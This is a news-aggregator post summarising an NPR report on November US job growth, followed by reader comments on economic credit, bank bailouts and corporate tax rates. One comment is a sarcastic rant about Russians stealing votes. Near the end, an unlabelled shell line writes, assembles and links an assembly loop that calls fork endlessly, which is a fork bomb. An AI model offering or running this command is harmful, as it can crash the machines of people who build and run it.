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November Jobs Report: Economy Adds 228,000 Jobs; Unemployment Steady (npr.org)
An anonymous reader shares an NPR report: The U.S. economy added 228,000 jobs in November, according to the monthly jobs report from the Bureau of Labor Statistics. The unemployment rate remained steady at 4.1 percent, unchanged from October. "Employment growth has averaged 174,000 per month thus far this year, compared with an average monthly gain of 187,000 in 2016," the agency's Acting Commissioner William J. Wiatrowski said of the report. The number of unemployed people was "essentially unchanged at 6.6 million," the bureau said. Of that number, 1.6 million are considered to be long-term unemployed -- workers who have not had jobs for 27 weeks or more. "Among the major worker groups, the unemployment rate for teenagers increased to 15.9 percent in November," the Bureau of Labor Statistics said. Other groups saw little change from the previous month. As for wages, the agency says, "In November, average hourly earnings for all employees on private nonfarm payrolls rose by 5 cents to $26.55. Over the year, average hourly earnings have risen by 64 cents, or 2.5 percent."
Shut up.
Hillary would of done much better for the economy and this story just goes to show it. There is a high likelihood of USA attacking Iran if she gotten her rightful appointed throne. Instead however Donald TRUMP old Mr Smallhands stole the election with Russians hacking into every American and taking votes. With Iran attack, oil would of been cheap which would spur the economy. So you really have to think of these things carefully and look at every detail. You find we could of had a much different course of history but instead history repeat itself!
Now, let's see what happens over the next year or so. And yes, a us presidents actions normally take 6-12 months to take hold. And since trump has not pass a single item that really impacted the economy, this remains Obama's.
He has removed a bunch of anti-business regulations that Obama had put in place by Executive Order, so there's that...
Taking guns away from the 99% gives the 1% 100% of the power.
Well, it's the 86th month in a row of job-growth, and the whole "world economy is surging" to pick from a WaPo headline today.
Crediting an 11-month administration with 75 previous months of growth, and prosperity 10,000 miles away in economies not that interlocked with America's, would be a stretch.
The other 75 months are no great credit to Obama, either, as he was much-constrained from economic actions by Congress holding that "Power of the Purse". Recovery could have come faster, as up here in Canada, say. Whereas places with even *more* of the "austerity" than what the US Congress inflicted through sequestration and cuts to States, had the triple-dip recession...Britain for example.
But when you totally tank your economy through bank malfeasance (again, Canada never deregulated our banks, so none failed or needed bailouts), you can't help but have growth after while, no matter how badly you mismanage. Kids keep getting bigger; young people need homes, salaries have fallen painfully and labour is cheap. Money is even cheaper, since there's less to invest in.
"Growth" isn't always good. Sometimes is means "things fell really far and are really bad for a lot of people". Things are not remotely yet back to where they would have been if there'd been no bank collapse. A whole generation has had its early employment years sabotaged.
It's passed the House and Senate, albeit in slightly different forms
http://www.businessinsider.com...
You don't need to actually cut taxes to affect confidence - if the perception in the markets is that they will fall that's enough to cause some change in mood.
And both the House and Senate bills cut corporation tax from 35% to 20%, though Trump suggested off the cuff it might only go to 22% to finance other cuts. Still even 35% to 22% is a pretty drastic cut.
The UK rate is 20% in 2016, falling to 18% in 2020.
https://www.gov.uk/government/...
This measure sets the Corporation Tax main rate for each year from the financial year beginning 1 April 2017 to the financial year beginning 1 April 2020, reducing the Corporation Tax main rate by 2% by 2020.
The Corporation Tax main rate for 1 April 2016 is set at 20%. The rate for 1 April 2017 is 19% and sets it at this rate for 1 April 2018 and 1 April 2019. The rate for 1 April 2020 is set at 18%.
Ireland is 12.5%
https://www.idaireland.com/inv...
But that's for trading income. Other rates apply for non trading, financial services, and manufacturing
https://en.wikipedia.org/wiki/...
The EU has declared Advance Tax Rulings of the sort Apple got illegal state aid.
Of course now the UK is leaving the EU, I'm sure it will offer the equivalent of Advance Tax rulings for companies like Apple on profits they move from somewhere else to the UK. I mean, if the UK would have got 0% tax otherwise, even 1% is an improvement.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Sorry to burst your bubble of Canadian Exceptionalism, but Canadian Banks Got $114 Billion From Governments During Recession. this is data based on the Canadian Mortgage and Housing Corporation, and works out to $3400 per capita. This was tenfold the amount Canadian taxpayers spent on the auto industry bailout.